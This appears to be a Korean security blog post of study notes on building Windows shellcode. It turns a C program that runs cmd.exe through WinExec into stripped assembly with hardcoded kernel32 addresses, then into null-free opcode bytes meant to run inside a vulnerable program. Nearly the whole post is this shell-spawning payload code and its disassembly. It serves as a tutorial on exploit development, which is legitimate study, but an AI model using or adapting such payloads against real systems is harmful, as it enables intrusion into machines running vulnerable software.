#include <windows.h>
void main(){
char cmd[] = {'c','m','d','.','e','x','e','\0'};
//문자는 코드영역이므로 데이터영역에 있는 문자열이 아닌 문자를 사용
WinExec(cmd,SW_SHOW);
//이 프로그램을 실행해달라는..(System())
ExitProcess(0);
//exit(); 취약한 프로그램에서 실행했을 때 그 기능에 수행되도록 표준함수가 아닌 windows api 함수를 사용
}
* 정적링크 : 프로그램 내에 코드가 전부 들어있어야 (ex : 표준함수)
동적링크 : 프로그램 내에 코드가 들어있지 않고 dll에서 불러옴
#include <windows.h>
2: void main(){
00401010 push ebp
00401011 mov ebp,esp
00401013 sub esp,48h
00401016 push ebx
00401017 push esi
00401018 push edi
00401019 lea edi,[ebp-48h]
0040101C mov ecx,12h
00401021 mov eax,0CCCCCCCCh
00401026 rep stos dword ptr [edi]
3: char cmd[] = {'c','m','d','.','e','x','e','\0'};
00401028 mov byte ptr [ebp-8],63h
0040102C mov byte ptr [ebp-7],6Dh
00401030 mov byte ptr [ebp-6],64h
00401034 mov byte ptr [ebp-5],2Eh
00401038 mov byte ptr [ebp-4],65h
0040103C mov byte ptr [ebp-3],78h
00401040 mov byte ptr [ebp-2],65h
00401044 mov byte ptr [ebp-1],0
4: //문자는 코드영역이므로 데이터영역에 있는 문자열이 아닌 문자를 사용
5: WinExec(cmd,SW_SHOW);
00401048 mov esi,esp
0040104A push 5
0040104C lea eax,[ebp-8]
0040104F push eax
00401050 call dword ptr [__imp__WinExec@8 (0042a150)]
00401056 cmp esi,esp
00401058 call __chkesp (004010b0)
6: //이 프로그램을 실행해달라는..(System())
7: ExitProcess(0);
0040105D mov esi,esp
0040105F push 0
00401061 call dword ptr [__imp__ExitProcess@4 (0042a14c)]
00401067 cmp esi,esp
00401069 call __chkesp (004010b0)
8: //exit(); 취약한 프로그램에서 실행했을 때 그 기능에 수행되도록 표준함수가 아닌 windows api 함수를 사용
9: }
// : 지울부분
00401010 push ebp
00401011 mov ebp,esp
00401013 sub esp,48h
00401028 mov byte ptr [ebp-8],63h
0040102C mov byte ptr [ebp-7],6Dh
00401030 mov byte ptr [ebp-6],64h
00401034 mov byte ptr [ebp-5],2Eh
00401038 mov byte ptr [ebp-4],65h
0040103C mov byte ptr [ebp-3],78h
00401040 mov byte ptr [ebp-2],65h
00401044 mov byte ptr [ebp-1],0
0040104A push 5
0040104C lea eax,[ebp-8]
0040104F push eax
00401050 call dword ptr [__imp__WinExec@8 (0042a150)] //--> 실제 주소로 바꿔줘야(by dependance walker)
0040105F push 0
00401061 call dword ptr [__imp__ExitProcess@4 (0042a14c)]
* c:\windows\system32\kernel32.dll ===> 열어서 WinExec 함수 찾음 ==>주소계산해서 넣음
push ebp
mov ebp,esp
sub esp,48h
mov byte ptr [ebp-8],63h
mov byte ptr [ebp-7],6Dh
mov byte ptr [ebp-6],64h
mov byte ptr [ebp-5],2Eh
mov byte ptr [ebp-4],65h
mov byte ptr [ebp-3],78h
mov byte ptr [ebp-2],65h
mov byte ptr [ebp-1],0
push 5
lea eax,[ebp-8]
push eax
mov eax, 0x7c8623ad
call eax
push 0
mov eax, 0x7c81cafa
call eax
#include <stdio.h>
void main(){
__asm
{
push ebp
mov ebp,esp
sub esp,48h
mov byte ptr [ebp-8],63h
mov byte ptr [ebp-7],6Dh
mov byte ptr [ebp-6],64h
mov byte ptr [ebp-5],2Eh
mov byte ptr [ebp-4],65h
mov byte ptr [ebp-3],78h
mov byte ptr [ebp-2],65h
mov byte ptr [ebp-1],0
push 5
lea eax,[ebp-8]
push eax
mov eax, 0x7c8623ad
call eax
push 0
mov eax, 0x7c81cafa
call eax
}
}
00401028 55 push ebp
00401029 8B EC mov ebp,esp
0040102B 33 C0 xor eax,eax
0040102D 50 push eax
0040102E 50 push eax
0040102F C6 45 F8 63 mov byte ptr [ebp-8],63h
00401033 C6 45 F9 6D mov byte ptr [ebp-7],6Dh
00401037 C6 45 FA 64 mov byte ptr [ebp-6],64h
0040103B C6 45 FB 2E mov byte ptr [ebp-5],2Eh
0040103F C6 45 FC 65 mov byte ptr [ebp-4],65h
00401043 C6 45 FD 78 mov byte ptr [ebp-3],78h
00401047 C6 45 FE 65 mov byte ptr [ebp-2],65h
0040104B 6A 05 push 5
0040104D 8D 45 F8 lea eax,[ebp-8]
00401050 50 push eax
00401051 B8 AD 23 86 7C mov eax,7C8623ADh
00401056 FF D0 call eax
00401058 6A 01 push 1
0040105A B8 FA CA 81 7C mov eax,7C81CAFAh
0040105F FF D0 call eax
'Computer Security > System Security' 카테고리의 다른 글
registry 편집 소스코드(마우스속도변경) (0) | 2014.04.18 |
---|---|
루트킷(Rootkit) (0) | 2014.04.17 |
Process & Thread (0) | 2014.04.16 |
리눅스의 권한상승용 백도어 (0) | 2014.04.16 |
대입공격 개요 (0) | 2014.04.15 |